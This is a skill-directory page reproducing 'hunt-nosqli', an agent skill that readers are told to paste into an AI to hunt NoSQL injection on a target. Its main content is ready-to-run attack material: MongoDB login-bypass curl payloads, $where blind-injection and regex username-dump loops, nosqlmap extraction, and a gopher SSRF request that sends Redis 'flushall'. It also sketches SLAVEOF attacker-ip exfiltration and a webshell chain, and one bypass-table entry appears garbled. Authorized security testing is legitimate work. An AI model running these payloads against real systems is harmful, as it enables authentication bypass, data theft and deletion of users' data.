Skip to content
Skillpedia
Security5.4k Β· #14924

hunt-nosqli

What it does

This skill checks NoSQL-backed apps for operator injection and related flaws that can bypass sign-in or dump data. It is for authorized testing of apps that use MongoDB, CouchDB or Redis.

When to use it

  • βœ“When a login accepts JSON with username and password fields on a MongoDB app.
  • βœ“When a search or filter endpoint accepts query operators from the user.
  • βœ“When error messages mention a NoSQL database.

Skill link

https://github.com/elementalsouls/Claude-BugHunter/blob/main/skills/hunt-nosqli/SKILL.md

Copy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.

How to use

The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.

Ready-to-paste message

Use this skill to help me: https://github.com/elementalsouls/Claude-BugHunter/blob/main/skills/hunt-nosqli/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
Want your AI to find skills like this on its own?Install the free Skillpedia MCP: one line, and it searches 15,000+ skills before each task.Install in 1 minute β†’

Example of what to ask your AI

β€œOur login API uses MongoDB. Can you check whether operator input can bypass it in our authorized test?”

5 new skills a week. 1 minute to read.

How it works

The agent sends JSON operator values in login and search requests, then compares the responses. It reports confirmed bypasses or data exposure.

Technical content (original SKILL.md)

Original text by the author, straight from GitHub.

HUNT-NOSQLI β€” NoSQL Injection

Crown Jewel Targets

NoSQL injection is most valuable when it bypasses authentication (Critical) or leaks the entire user collection (High).

Highest-value chains:

  • MongoDB auth bypass β€” {"username": {"$gt": ""}, "password": {"$gt": ""}} logs in as first user in collection (usually admin)
  • $where JS injection β€” if $where is enabled: blind injection β†’ data exfil
  • Redis command injection β€” via SSRF or direct TCP, SLAVEOF attacker-ip β†’ config write β†’ webshell
  • Elasticsearch injection β€” _search endpoint with Groovy script injection (pre-5.0) β†’ RCE

Attack Surface Signals

URL & Param Patterns

/api/users/login         POST with JSON body
/api/search?q=
/api/find?filter=
/api/query?where=
Any endpoint accepting JSON body with username/password

Stack Signals

Signal Vector
MongoDB error messages in response Operator injection
mongoose / monk in JS bundles ODM patterns
X-Powered-By: Express Node.js + MongoDB common stack
CouchDB/_utils UI exposed Futon/Fauxton admin
Redis port 6379 open (via SSRF) CONFIG SET / SLAVEOF
Elasticsearch :9200 open Script injection

Step-by-Step Hunting Methodology

Phase 1 β€” Auth Bypass (MongoDB)

# Operator injection in JSON body
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'

# Regex wildcard β€” match any username
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}'

# ne (not equal) bypass
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$ne": "wrong"}}'

# in array bypass
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$in": ["admin","administrator","root"]}, "password": {"$ne": "x"}}'

Phase 2 β€” URL Parameter Injection

# Array notation (Express/PHP-style)
curl "https://$TARGET/api/users?username[$gt]=&password[$gt]="
curl "https://$TARGET/api/search?q[$regex]=.*&q[$options]=i"

# POST form data
curl "https://$TARGET/api/login" \
  --data "username[$gt]=&password[$gt]="

Phase 3 β€” $where Blind Injection (time-based)

# Test if $where is enabled (time-based detection, 5s delay)
curl -s -X POST https://$TARGET/api/search \
  -H "Content-Type: application/json" \
  -d '{"q": {"$where": "function(){var d=new Date();while(new Date()-d<5000){}; return true;}"}}'
# If response takes 5+ seconds β†’ $where injection confirmed

# Blind data exfil (username starts with 'a'?)
curl -s -X POST https://$TARGET/api/search \
  -H "Content-Type: application/json" \
  -d '{"q": {"$where": "function(){if(this.username.match(/^a/)){sleep(3000);} return true;}"}}'

Phase 3b β€” Syntax injection into a concatenated $where/query (string context)

When the app concatenates input into a JS $where STRING ("this.name=='"+input+"'") instead of accepting an operator object, break the string rather than passing $gt/$ne. Fuzz first, then break:

fuzz:  ' " ` { ; $         # any 500/behaviour change = syntax reaches the query
' || '1'=='1               # always-true (string-context breakout)
' && this.password.match(/^a/) || 'x'=='y   # boolean char-exfil oracle

(PortSwigger: Injecting syntax into NoSQL queries.)

Phase 4 β€” Data Dump via Regex

# Enumerate usernames character by character
for c in a b c d e f g h i j k l m n o p q r s t u v w x y z; do
  RESP=$(curl -s -X POST https://$TARGET/api/users \
    -H "Content-Type: application/json" \
    -d "{\"username\": {\"\$regex\": \"^$c\"}}")
  echo "$c: $(echo $RESP | wc -c)"
done

Phase 5 β€” Automation

# nosqlmap
pip3 install nosqlmap
nosqlmap -u "https://$TARGET/api/login" --attack 1

# nosqlmap data extraction
nosqlmap -u "https://$TARGET/api/login" --attack 2

Phase 6 β€” Redis via SSRF

# If SSRF found, probe internal Redis via gopher://
curl "https://$TARGET/fetch?url=gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a"

# CONFIG SET webshell (if Redis has write access to web root)
# Use SLAVEOF for OOB data exfil

Bypass Table

Defense Bypass
JSON.parse rejects objects Use array: password[$ne]=x (URL params)
Sanitizes $ Unicode: $gt
FAQ

What is operator injection?

It is when a user sends query operators such as greater-than instead of a plain value, changing how the database matches.

Which databases are covered?

The skill covers MongoDB, CouchDB, Redis and Elasticsearch.

Why is login bypass serious?

It can let someone sign in as an admin without a valid password, which the skill rates as critical.

Details

Original description by the author

Hunt NoSQL Injection β€” MongoDB operator injection ($where, $regex, $gt, $ne), CouchDB, Redis command injection, auth bypass via NoSQLi, data dump. Use when target uses MongoDB/Mongoose, CouchDB, Redis, or shows NoSQL error messages.

repo: elementalsouls/Claude-BugHunter

Popularity

GitHub stars
5.4k
Ranking position
#14924
License
MIT
Updated
11/2/2026

Is this skill useful?

0

Sign in to vote.

Comments

  • …

More skills from this repository

Similar skills